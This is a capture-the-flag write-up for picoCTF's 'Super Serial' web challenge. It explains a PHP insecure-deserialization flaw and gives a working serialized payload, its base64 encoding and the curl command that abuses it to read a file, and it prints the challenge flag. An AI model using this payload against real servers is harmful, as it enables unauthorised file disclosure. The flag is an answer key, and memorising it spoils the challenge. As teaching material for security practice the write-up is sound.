# Super Serial

## Problem

> Try to recover the flag stored on this website <http://mercury.picoctf.net:3449/>

## Solution

1. Going to `robots.txt` shows that `admin.phps` is disallowed. This indicates that the `phps` extension is enabled within the php configuration for this webserver. Files with the `phps` extension contain php code but instead of running when they are accessed, they return an HTML representation of the literal pho code.
2. We can access `index.phps` to find the following:

   ```php
   <?php
   require_once("cookie.php");

   if(isset($_POST["user"]) && isset($_POST["pass"])){
       $con = new SQLite3("../users.db");
       $username = $_POST["user"];
       $password = $_POST["pass"];
       $perm_res = new permissions($username, $password);
       if ($perm_res->is_guest() || $perm_res->is_admin()) {
           setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
           header("Location: authentication.php");
           die();
       } else {
           $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
       }
   }
   ?>
   ```
3. The above php code points us in the direction of `authentication.php`. Looking at `authentication.phps` shows the following:

   ```php
   <?php

   class access_log
   {
       public $log_file;

       function __construct($lf) {
           $this->log_file = $lf;
       }

       function __toString() {
           return $this->read_log();
       }

       function append_to_log($data) {
           file_put_contents($this->log_file, $data, FILE_APPEND);
       }

       function read_log() {
           return file_get_contents($this->log_file);
       }
   }

   require_once("cookie.php");
   if(isset($perm) && $perm->is_admin()){
       $msg = "Welcome admin";
       $log = new access_log("access.log");
       $log->append_to_log("Logged in at ".date("Y-m-d")."\n");
   } else {
       $msg = "Welcome guest";
   }
   ?>
   ```
4. The above php code points us in the direction of `cookie.php`. Looking at `cookie.phps` shows the following:

   ```php
   <?php
   session_start();

   class permissions
   {
       public $username;
       public $password;

       function __construct($u, $p) {
           $this->username = $u;
           $this->password = $p;
       }

       function __toString() {
           return $u.$p;
       }

       function is_guest() {
           $guest = false;

           $con = new SQLite3("../users.db");
           $username = $this->username;
           $password = $this->password;
           $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
           $stm->bindValue(1, $username, SQLITE3_TEXT);
           $stm->bindValue(2, $password, SQLITE3_TEXT);
           $res = $stm->execute();
           $rest = $res->fetchArray();
           if($rest["username"]) {
               if ($rest["admin"] != 1) {
                   $guest = true;
               }
           }
           return $guest;
       }

           function is_admin() {
                   $admin = false;

                   $con = new SQLite3("../users.db");
                   $username = $this->username;
                   $password = $this->password;
                   $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
                   $stm->bindValue(1, $username, SQLITE3_TEXT);
                   $stm->bindValue(2, $password, SQLITE3_TEXT);
                   $res = $stm->execute();
                   $rest = $res->fetchArray();
                   if($rest["username"]) {
                           if ($rest["admin"] == 1) {
                                   $admin = true;
                           }
                   }
                   return $admin;
           }
   }

   if(isset($_COOKIE["login"])){
       try{
           $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
           $g = $perm->is_guest();
           $a = $perm->is_admin();
       }
       catch(Error $e){
           die("Deserialization error. ".$perm);
       }
   }

   ?>
   ```
5. PortSwigger has a great article that goes into detail about [deserialization vulnerabilities](https://portswigger.net/web-security/deserialization/exploiting). [This Medium article](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a) gives a more step-by-step beginner guide.
6. The exploit is in this code block:

   ```php
   class access_log
   {
       public $log_file;

       function __construct($lf) {
           $this->log_file = $lf;
       }

       function __toString() {
           return $this->read_log();
       }

       function append_to_log($data) {
           file_put_contents($this->log_file, $data, FILE_APPEND);
       }

       function read_log() {
           return file_get_contents($this->log_file);
       }
   }

   if(isset($_COOKIE["login"])){
       try{
           $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
           $g = $perm->is_guest();
           $a = $perm->is_admin();
       }
       catch(Error $e){
           die("Deserialization error. ".$perm);
       }
   }
   ```

   We can store any object in the `login` cookie and it will be unserialized. One option is to exploit the `__construct` function, since this is ran immediately when the object is created. However, in both the `access_log` and `permissions` classes, there does not appear to be a valid gadget chain (see "Gadget chains" in [the PortSwigger article](https://portswigger.net/web-security/deserialization/exploiting)).
7. We can store a serialized `access_log` object in the `login` cookie with the `log_file` set to `../flag`. This object will be instantiated in the first line of the `try` block. However, the `access_log` class does not have an `is_guest` function so when the code try to run that function on the next line it will fail, thus jumping to the `catch` block. This catch block prints the value of `$perm`, which is our injected `access_log` object. By printing `$perm`, the `__toString` method of our `access_log` object is called, which displays the content of whatever filename (the value of `access_log`) was passed to it.
8. The php serialized `access_log` object looks like this: `O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}`. Fore more details about this syntax, see [the aforementioned Medium article](https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a).
9. Let's encode that to base64 and url encode it using [CyberChef](https://gchq.github.io/CyberChef/#recipe=To_Base64\('A-Za-z0-9%2B/%3D'\)URL_Encode\(true\)\&input=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9) to get: `TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9`
10. We can use cURL to access the `authentication.php` file with the correct cookie set: `curl mercury.picoctf.net:3449/authentication.php --cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"`. This will print the error text and the flag: `Deserialization error. picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}`

### Flag

`picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_b4e3f8b1}`
